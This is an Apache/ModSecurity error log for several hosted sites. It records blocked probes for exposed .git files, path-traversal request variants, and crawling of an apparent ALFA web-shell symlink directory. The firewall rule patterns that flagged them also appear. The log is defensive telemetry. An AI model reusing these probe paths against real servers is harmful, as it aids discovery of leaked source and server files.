[Sun Oct 25 22:55:40.691952 2026] [security2:error] [pid 2943061:tid 2943061] [client 45.138.12.22:32456] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at7BLH8bERm6q3Qj3BkqNwAAABc"]
[Sun Oct 25 22:55:40.692165 2026] [security2:error] [pid 2943061:tid 2943061] [client 45.138.12.22:32456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at7BLH8bERm6q3Qj3BkqNwAAABc"]
[Sun Oct 25 22:55:40.692495 2026] [security2:error] [pid 2943061:tid 2943061] [client 45.138.12.22:32456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at7BLH8bERm6q3Qj3BkqNwAAABc"]
[Sun Oct 25 22:55:40.912897 2026] [security2:error] [pid 2943061:tid 2943061] [client 45.138.12.22:32456] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7BLH8bERm6q3Qj3BkqOAAAABc"]
[Sun Oct 25 22:55:40.913137 2026] [security2:error] [pid 2943061:tid 2943061] [client 45.138.12.22:32456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7BLH8bERm6q3Qj3BkqOAAAABc"]
[Sun Oct 25 22:55:40.913451 2026] [security2:error] [pid 2943061:tid 2943061] [client 45.138.12.22:32456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7BLH8bERm6q3Qj3BkqOAAAABc"]
[Sun Oct 25 22:55:41.104354 2026] [security2:error] [pid 2948938:tid 2948938] [client 45.138.12.22:60666] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at7BLVN_bUq_OQDpNPOmngAAAAo"]
[Sun Oct 25 22:55:41.104633 2026] [security2:error] [pid 2948938:tid 2948938] [client 45.138.12.22:60666] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at7BLVN_bUq_OQDpNPOmngAAAAo"]
[Sun Oct 25 22:55:41.104923 2026] [security2:error] [pid 2948938:tid 2948938] [client 45.138.12.22:60666] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at7BLVN_bUq_OQDpNPOmngAAAAo"]
[Sun Oct 25 22:55:41.154688 2026] [security2:error] [pid 2943087:tid 2943087] [client 45.138.12.22:49176] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /events../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas1.sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at7BLQSn5HKIYfqg0eAj_AAAADc"]
[Sun Oct 25 22:55:41.154773 2026] [security2:error] [pid 2943087:tid 2943087] [client 45.138.12.22:49176] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /events../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas1.sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at7BLQSn5HKIYfqg0eAj_AAAADc"]
[Sun Oct 25 22:55:41.154856 2026] [security2:error] [pid 2943087:tid 2943087] [client 45.138.12.22:49176] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at7BLQSn5HKIYfqg0eAj_AAAADc"]
[Sun Oct 25 22:55:41.155075 2026] [security2:error] [pid 2943087:tid 2943087] [client 45.138.12.22:49176] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at7BLQSn5HKIYfqg0eAj_AAAADc"]
[Sun Oct 25 22:55:41.155342 2026] [security2:error] [pid 2943087:tid 2943087] [client 45.138.12.22:49176] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at7BLQSn5HKIYfqg0eAj_AAAADc"]
[Sun Oct 25 22:55:41.220979 2026] [security2:error] [pid 2943061:tid 2943061] [client 45.138.12.22:32456] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas1.sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at7BLX8bERm6q3Qj3BkqOQAAABc"]
[Sun Oct 25 22:55:41.221040 2026] [security2:error] [pid 2943061:tid 2943061] [client 45.138.12.22:32456] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas1.sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at7BLX8bERm6q3Qj3BkqOQAAABc"]
[Sun Oct 25 22:55:41.221095 2026] [security2:error] [pid 2943061:tid 2943061] [client 45.138.12.22:32456] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at7BLX8bERm6q3Qj3BkqOQAAABc"]
[Sun Oct 25 22:55:41.221320 2026] [security2:error] [pid 2943061:tid 2943061] [client 45.138.12.22:32456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at7BLX8bERm6q3Qj3BkqOQAAABc"]
[Sun Oct 25 22:55:41.221595 2026] [security2:error] [pid 2943061:tid 2943061] [client 45.138.12.22:32456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/static../.git/config"] [unique_id "at7BLX8bERm6q3Qj3BkqOQAAABc"]
[Sun Oct 25 22:55:41.279630 2026] [security2:error] [pid 2948436:tid 2948436] [client 45.138.12.22:32362] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas1.sherwinpinturas.com"] [uri "/assets../.git/config"] [unique_id "at7BLTXR5ojXz3zGeulJxwAAAAY"]
[Sun Oct 25 22:55:41.279709 2026] [security2:error] [pid 2948436:tid 2948436] [client 45.138.12.22:32362] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas1.sherwinpinturas.com"] [uri "/assets../.git/config"] [unique_id "at7BLTXR5ojXz3zGeulJxwAAAAY"]
[Sun Oct 25 22:55:41.279770 2026] [security2:error] [pid 2948436:tid 2948436] [client 45.138.12.22:32362] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/assets../.git/config"] [unique_id "at7BLTXR5ojXz3zGeulJxwAAAAY"]
[Sun Oct 25 22:55:41.280015 2026] [security2:error] [pid 2948436:tid 2948436] [client 45.138.12.22:32362] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/assets../.git/config"] [unique_id "at7BLTXR5ojXz3zGeulJxwAAAAY"]
[Sun Oct 25 22:55:41.280354 2026] [security2:error] [pid 2948436:tid 2948436] [client 45.138.12.22:32362] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/assets../.git/config"] [unique_id "at7BLTXR5ojXz3zGeulJxwAAAAY"]
[Sun Oct 25 22:55:41.316604 2026] [security2:error] [pid 2948949:tid 2948949] [client 45.138.12.22:3975] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas1.sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at7BLSndgrgAxCEkXoEGBAAAABg"]
[Sun Oct 25 22:55:41.316669 2026] [security2:error] [pid 2948949:tid 2948949] [client 45.138.12.22:3975] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas1.sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at7BLSndgrgAxCEkXoEGBAAAABg"]
[Sun Oct 25 22:55:41.316732 2026] [security2:error] [pid 2948949:tid 2948949] [client 45.138.12.22:3975] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at7BLSndgrgAxCEkXoEGBAAAABg"]
[Sun Oct 25 22:55:41.316944 2026] [security2:error] [pid 2948949:tid 2948949] [client 45.138.12.22:3975] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at7BLSndgrgAxCEkXoEGBAAAABg"]
[Sun Oct 25 22:55:41.317244 2026] [security2:error] [pid 2948949:tid 2948949] [client 45.138.12.22:3975] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at7BLSndgrgAxCEkXoEGBAAAABg"]
[Sun Oct 25 22:55:46.392107 2026] [ssl:error] [pid 2949511:tid 2949511] (70014)End of file found: [client 3.94.157.25:24745] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:55:54.233592 2026] [ssl:error] [pid 2948939:tid 2948939] (70014)End of file found: [client 98.83.177.42:60121] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:56:02.297583 2026] [security2:error] [pid 2943087:tid 2943087] [client 54.198.33.233:3167] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/ohci-pci/"] [unique_id "at7BQgSn5HKIYfqg0eAj_QAAADc"]
[Sun Oct 25 22:56:02.297622 2026] [security2:error] [pid 2943087:tid 2943087] [client 54.198.33.233:3167] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/ohci-pci/"] [unique_id "at7BQgSn5HKIYfqg0eAj_QAAADc"]
[Sun Oct 25 22:56:17.673349 2026] [security2:error] [pid 2943462:tid 2943462] [client 119.45.127.106:51480] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.parkeranders.com"] [uri "/"] [unique_id "at7BUURA9ffx_-QFaWxxPAAAAAA"]
[Sun Oct 25 22:56:18.978265 2026] [core:error] [pid 2943061:tid 2943061] (13)Permission denied: [client 185.191.171.8:41612] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/ctor
[Sun Oct 25 22:56:26.200212 2026] [ssl:error] [pid 2943462:tid 2943462] (70014)End of file found: [client 100.28.57.133:1815] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:56:27.552998 2026] [core:error] [pid 2949511:tid 2949511] (13)Permission denied: [client 85.208.96.197:27460] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-128/aliases
[Sun Oct 25 22:56:30.248178 2026] [ssl:error] [pid 2942903:tid 2942903] (70014)End of file found: [client 34.225.87.80:38551] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:56:38.189695 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 18.206.47.187:30088] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:56:50.220751 2026] [ssl:error] [pid 2946859:tid 2946859] (70014)End of file found: [client 34.225.87.80:16696] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:56:58.876607 2026] [core:error] [pid 2946688:tid 2946688] (13)Permission denied: [client 185.191.171.14:42804] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/agetty.reload
[Sun Oct 25 22:57:02.199387 2026] [core:error] [pid 2948938:tid 2948938] (13)Permission denied: [client 35.170.205.140:42545] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/virtio-pci/remove_id
[Sun Oct 25 22:57:10.638160 2026] [ssl:error] [pid 2938877:tid 2938877] (70014)End of file found: [client 18.208.11.93:53880] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:57:22.364228 2026] [ssl:error] [pid 2948941:tid 2948941] (70014)End of file found: [client 54.166.126.132:53949] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:57:24.863307 2026] [security2:error] [pid 2948938:tid 2948938] [client 185.191.171.18:36560] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/ata_device/dev1.0/device/"] [unique_id "at7BlFN_bUq_OQDpNPOmowAAAAo"]
[Sun Oct 25 22:57:24.863347 2026] [security2:error] [pid 2948938:tid 2948938] [client 185.191.171.18:36560] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/ata_device/dev1.0/device/"] [unique_id "at7BlFN_bUq_OQDpNPOmowAAAAo"]
[Sun Oct 25 22:57:26.219743 2026] [ssl:error] [pid 2949511:tid 2949511] (70014)End of file found: [client 44.215.61.66:6931] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:57:35.376359 2026] [security2:error] [pid 2949511:tid 2949511] [client 45.138.12.25:40965] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at7Bn-5qdVS0urJsjm1WrAAAAAk"]
[Sun Oct 25 22:57:35.376633 2026] [security2:error] [pid 2949511:tid 2949511] [client 45.138.12.25:40965] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at7Bn-5qdVS0urJsjm1WrAAAAAk"]
